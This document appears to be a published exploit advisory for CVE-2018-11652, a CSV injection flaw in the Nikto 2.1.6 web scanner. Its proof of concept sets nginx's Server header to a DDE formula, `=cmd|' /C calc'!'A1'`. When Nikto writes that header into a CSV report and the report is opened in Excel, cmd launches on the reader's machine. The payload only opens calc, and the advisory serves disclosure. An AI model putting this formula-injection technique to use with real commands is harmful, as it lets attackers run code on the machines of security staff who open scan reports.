Nikto 2.1.6 - CSV Injection

# Exploit Title: Nikto 2.1.6 - CSV Injection
# Google Dork: N/A
# Date: 2018-06-01	
# Exploit Author: Adam Greenhill
# Vendor Homepage: https://cirt.net/Nikto2
# Software Link: https://github.com/sullo/nikto
# Affected Version: 2.1.6, 2.1.5
# Category: Applications
# Tested on: Kali Linux 4.14 x64
# CVE : CVE-2018-11652
 
# Technical Description:
#  CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers 
# to inject arbitrary OS commands via the Server field in an HTTP response header, 
# which is directly injected into a CSV report.
 
# PoC
# Install nginx and nginx-extras: apt-get install -y nginx nginx-extras
# Configure the nginx server as follows by editing the /etc/nginx/nginx.conf file:

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {
    server_tokens off; # removed pound sign
    more_set_headers "Server: =cmd|' /C calc'!'A1'";

    server {
        listen 80;

        server_name localhost;

        location /hello {
            return 200 "hello world";
        }
    }
}

# Restart the server: service nginx restart
# Scan the nginx server with Nikto configured to output the results to a CSV file:

nikto -h <nginx address>:80 -o vuln.csv

# Open the resulting CSV file in Microsoft Excel and observe that CMD is attempting 
# to execute